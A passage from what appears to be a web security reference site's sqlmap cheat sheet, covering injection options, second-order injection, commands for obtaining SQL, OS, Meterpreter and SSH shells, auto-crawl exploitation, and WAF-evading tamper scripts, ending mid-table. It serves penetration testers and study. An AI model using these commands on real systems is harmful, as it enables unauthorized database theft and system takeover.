<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#basic-arguments-for-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Basic Arguments For SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#load-a-request-file" class="md-nav__link">
<span class="md-ellipsis">
Load A Request File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#custom-injection-point" class="md-nav__link">
<span class="md-ellipsis">
Custom Injection Point
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#second-order-injection" class="md-nav__link">
<span class="md-ellipsis">
Second Order Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#getting-a-shell" class="md-nav__link">
<span class="md-ellipsis">
Getting A Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#crawl-and-auto-exploit" class="md-nav__link">
<span class="md-ellipsis">
Crawl And Auto-Exploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#proxy-configuration-for-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Proxy Configuration For SQLmap
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#injection-tampering" class="md-nav__link">
<span class="md-ellipsis">
Injection Tampering
</span>
</a>
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<li class="md-nav__item">
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Suffix And Prefix
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Tamper Scripts
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Reduce Requests Number
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SQLmap Without SQL Injection
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References
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</a>
</li>
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<h1 id="sqlmap">SQLmap</h1>
<blockquote>
<p>SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. </p>
<p>Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts.</p>
<p>Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code.</p>
<p>However you should always know how SQLmap is working, and be able to replicate it manually if necessary.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#basic-arguments-for-sqlmap">Basic Arguments For SQLmap</a></li>
<li><a href="#load-a-request-file">Load A Request File</a></li>
<li><a href="#custom-injection-point">Custom Injection Point</a></li>
<li><a href="#second-order-injection">Second Order Injection</a></li>
<li><a href="#getting-a-shell">Getting A Shell</a></li>
<li><a href="#crawl-and-auto-exploit">Crawl And Auto-Exploit</a></li>
<li><a href="#proxy-configuration-for-sqlmap">Proxy Configuration For SQLmap</a></li>
<li><a href="#injection-tampering">Injection Tampering</a><ul>
<li><a href="#suffix-and-prefix">Suffix And Prefix</a></li>
<li><a href="#tamper-scripts">Tamper Scripts</a></li>
</ul>
</li>
<li><a href="#reduce-requests-number">Reduce Requests Number</a></li>
<li><a href="#sqlmap-without-sql-injection">SQLmap Without SQL Injection</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="basic-arguments-for-sqlmap">Basic Arguments For SQLmap</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">sqlmap</span> <span class="p">-</span><span class="n">-url</span><span class="p">=</span><span class="s2">&quot;&lt;url&gt;&quot;</span> <span class="n">-p</span> <span class="n">username</span> <span class="p">-</span><span class="n">-user-agent</span><span class="p">=</span><span class="n">SQLMAP</span> <span class="p">-</span><span class="n">-random-agent</span> <span class="p">-</span><span class="n">-threads</span><span class="p">=</span><span class="n">10</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">3</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-eta</span> <span class="p">-</span><span class="n">-dbms</span><span class="p">=</span><span class="n">MySQL</span> <span class="p">-</span><span class="n">-os</span><span class="p">=</span><span class="n">Linux</span> <span class="p">-</span><span class="n">-banner</span> <span class="p">-</span><span class="o">-is</span><span class="n">-dba</span> <span class="p">-</span><span class="n">-users</span> <span class="p">-</span><span class="n">-passwords</span> <span class="p">-</span><span class="n">-current-user</span> <span class="p">-</span><span class="n">-dbs</span>
</code></pre></div>
<h2 id="load-a-request-file">Load A Request File</h2>
<p>A request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">sqlmap</span> <span class="n">-r</span> <span class="n">request</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div>
<h2 id="custom-injection-point">Custom Injection Point</h2>
<p>A custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically.</p>
<p>By defining a custom injection point with the wildcard character '<code>*</code>' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com&quot;</span> <span class="p">-</span><span class="n">-data</span> <span class="s2">&quot;username=admin&amp;password=pass&quot;</span> <span class="p">-</span><span class="n">-headers</span><span class="p">=</span><span class="s2">&quot;x-forwarded-for:127.0.0.1*&quot;</span>
</code></pre></div>
<h2 id="second-order-injection">Second Order Injection</h2>
<p>A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query. </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">sqlmap</span> <span class="n">-r</span> <span class="p">/</span><span class="n">tmp</span><span class="p">/</span><span class="n">r</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-dbms</span> <span class="n">MySQL</span> <span class="p">-</span><span class="n">-second-order</span> <span class="s2">&quot;http://targetapp/wishlist&quot;</span> <span class="n">-v</span> <span class="n">3</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="n">sqlmap</span> <span class="n">-r</span> <span class="n">1</span><span class="p">.</span><span class="n">txt</span> <span class="n">-dbms</span> <span class="n">MySQL</span> <span class="n">-second-order</span> <span class="s2">&quot;http://&lt;IP/domain&gt;/joomla/administrator/index.php&quot;</span> <span class="n">-D</span> <span class="s2">&quot;joomla&quot;</span> <span class="n">-dbs</span>
</code></pre></div>
<h2 id="getting-a-shell">Getting A Shell</h2>
<ul>
<li>
<p>SQL Shell:
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="n">-sql-shell</span>
</code></pre></div></p>
</li>
<li>
<p>OS Shell:
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="n">-os-shell</span>
</code></pre></div></p>
</li>
<li>
<p>Meterpreter:
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="n">-os-pwn</span>
</code></pre></div></p>
</li>
<li>
<p>SSH Shell:
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="o">-file</span><span class="n">-write</span><span class="p">=/</span><span class="n">root</span><span class="p">/.</span><span class="n">ssh</span><span class="p">/</span><span class="n">id_rsa</span><span class="p">.</span><span class="n">pub</span> <span class="p">-</span><span class="o">-file</span><span class="n">-destination</span><span class="p">=/</span><span class="n">home</span><span class="p">/</span><span class="n">user</span><span class="p">/.</span><span class="n">ssh</span><span class="p">/</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="crawl-and-auto-exploit">Crawl And Auto-Exploit</h2>
<p>This method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website and automatically submit forms, which may lead to unintended requests being sent to sensitive features like "delete" or "destroy" endpoints.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/&quot;</span> <span class="p">-</span><span class="n">-crawl</span><span class="p">=</span><span class="n">1</span> <span class="p">-</span><span class="n">-random-agent</span> <span class="p">-</span><span class="n">-batch</span> <span class="p">-</span><span class="n">-forms</span> <span class="p">-</span><span class="n">-threads</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">5</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">3</span>
</code></pre></div>
<ul>
<li><code>--batch</code> = Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers</li>
<li><code>--crawl</code> = How deep you want to crawl a site</li>
<li><code>--forms</code> = Parse and test forms</li>
</ul>
<h2 id="proxy-configuration-for-sqlmap">Proxy Configuration For SQLmap</h2>
<p>To run SQLmap with a proxy, you can use the <code>--proxy</code> option followed by the proxy URL. SQLmap supports various types of proxies such as HTTP, HTTPS, SOCKS4, and SOCKS5.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://www.target.com&quot;</span> <span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;http://127.0.0.1:8080&quot;</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://www.target.com/page.php?id=1&quot;</span> <span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;http://127.0.0.1:8080&quot;</span> <span class="p">-</span><span class="n">-proxy-cred</span><span class="p">=</span><span class="s2">&quot;user:pass&quot;</span>
</code></pre></div>
<ul>
<li>HTTP Proxy:
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;http://[username]:[password]@[proxy_ip]:[proxy_port]&quot;</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;http://user:pass@127.0.0.1:8080&quot;</span>
</code></pre></div></li>
<li>
<p>SOCKS Proxy:
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;socks4://[username]:[password]@[proxy_ip]:[proxy_port]&quot;</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;socks4://user:pass@127.0.0.1:1080&quot;</span>
</code></pre></div></p>
</li>
<li>
<p>SOCKS5 Proxy:
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;socks5://[username]:[password]@[proxy_ip]:[proxy_port]&quot;</span>
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="p">-</span><span class="n">-proxy</span><span class="p">=</span><span class="s2">&quot;socks5://user:pass@127.0.0.1:1080&quot;</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="injection-tampering">Injection Tampering</h2>
<p>In SQLmap, tampering can help you adjust the injection in specific ways required to bypass web application firewalls (WAFs) or custom sanitization mechanisms. SQLmap provides various options and techniques to tamper with the payloads being used for SQL injection.</p>
<h3 id="suffix-and-prefix">Suffix And Prefix</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">python</span> <span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/?id=1&quot;</span> <span class="n">-p</span> <span class="n">id</span> <span class="p">-</span><span class="n">-suffix</span><span class="p">=</span><span class="s2">&quot;-- &quot;</span>
</code></pre></div>
<ul>
<li><code>--suffix=SUFFIX</code>: Injection payload suffix string</li>
<li><code>--prefix=PREFIX</code>: Injection payload prefix string</li>
</ul>
<h3 id="tamper-scripts">Tamper Scripts</h3>
<p>A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;http://targetwebsite.com/vulnerablepage.php?id=1&quot;</span> <span class="p">-</span><span class="n">-tamper</span><span class="p">=</span><span class="n">space2comment</span>
</code></pre></div>
<table>
<thead>
<tr>
<th>Tamper</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x2char.py</td>
<td>Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),…) counterpart</td>
</tr>
<tr>
<td>apostrophemask.py</td>
<td>Replaces apostrophe character with its UTF-8 full width counterpart</td>
</tr>
<tr>
<td>apostrophenullencode.py</td>
<td>Replaces apostrophe character with its illegal double unicode counterpart</td>
</tr>
<tr>
<td>appendnullbyte.py</td>
<td>Appends encoded NULL byte character at the end of payload</td>
</tr>
<tr>
<td>base64encode.py</td>
<td>Base64 all characters in a given payload</td>
</tr>
<tr>
<td>between.py</td>
<td>Replaces greater than operator ('&gt;') with 'NOT BETWEEN 0 AND #'</td>
</tr>
<tr>
<td>bluecoat.py</td>
<td>Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator</td>
</tr>
<tr>
<td>chardoubleencode.py</td>
<td>Double url-encodes all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>charencode.py</td>
<td>URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; %53%45%4C%45%43%54)</td>
</tr>
<tr>
<td>charunicodeencode.py</td>
<td>Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; %u0053%u0045%u004C%u0045%u0043%u0054)</td>
</tr>
<tr>
<td>charunicodeescape.py</td>
<td>Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -&gt; \u0053\u0045\u004C\u0045\u0043\u0054)</td>
</tr>
<tr>
<td>commalesslimit.py</td>
<td>Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'</td>
</tr>
<tr>
<td>commalessmid.py</td>
<td>Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'</td>
</tr>
<tr>
<td>commentbeforeparentheses.py</td>
<td>Prepends (inline) comment before parentheses (e.g. ( -&gt; /**/()</td>
</tr>
<tr>
<td>concat2concatws.py</td>
<td>Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'</td>
</tr>
<tr>
<td>charencode.py</td>
<td>Url-encodes all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>charunicodeencode.py</td>
<td>Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>equaltolike.py</td>
<td>Replaces all occurrences of operator equal ('=') with operator 'LIKE'</td>
</tr>
<tr>
<td>escapequotes.py</td>
<td>Slash escape quotes (' and ")</td>
</tr>
<tr>
<td>greatest.py</td>
<td>Replaces greater than operator ('&gt;') with 'GREATEST' counterpart</td>
</tr>
<tr>
<td>halfversionedmorekeywords.py</td>
<td>Adds versioned MySQL comment before each keyword</td>
</tr>
<tr>
<td>htmlencode.py</td>
<td>HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -&gt; &#39;)</td>
</tr>
<tr>
<td>ifnull2casewhenisnull.py</td>
<td>Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart</td>
</tr>
<tr>
<td>ifnull2ifisnull.py</td>
<td>Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'</td>
</tr>
<tr>
<td>informationschemacomment.py</td>
<td>Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier</td>
</tr>
<tr>
<td>least.py</td>
<td>Replaces greater than operator (‘&gt;’) with ‘LEAST’ counterpart</td>
</tr>
<tr>
<td>lowercase.py</td>
<td>Replaces each keyword character with lower case value (e.g. SELECT -&gt; select)</td>
</tr>
<tr>
<td>modsecurityversioned.py</td>
<td>Embraces complete query with versioned comment</td>
</tr>
<tr>
<td>modsecurityzeroversioned.py</td>
<td>Embraces complete query with zero-versioned comment</td>
</tr>
<tr>
<td>multiplespaces.py</td>
<td>Adds multiple spaces around SQL keywords</td>
</tr>
<tr>
<td>nonrecursivereplacement.py</td>
<td>Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters</td>
</tr>
<tr>
<td>overlongutf8.py</td>
<td>Converts all characters in a given payload (not processing already encoded)</td>
</tr>
<tr>
<td>overlongutf8more.py</td>
<td>Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -&gt; %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)</td>
</tr>
<tr>
<td>percentage.py</td>
<td>Adds a percentage sign ('%') infront of each character</td>
</tr>
<tr>
<td>plus2concat.py</td>
<td>Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart</td>
</tr>
<tr>
<td>plus2fnconcat.py</td>
<td>Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart</td>
</tr>
<tr>
<td>randomcase.py</td>
<td>Replaces each keyword character with random case value</td>
</tr>
<tr>
<td>randomcomments.py</td>
<td>Add random comments to SQL keywords</td>
</tr>
<tr>
<td>securesphere.py</td>
<td>Appends special crafted string</td>
</tr>
<tr>
<td>sp_password.py</td>
<td>Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs</td>
</tr>
<tr>
<td>space2comment.py</td>
<td>Replaces space character (' ') with comments</td>
</tr>
<tr>
<td>space2dash.py</td>
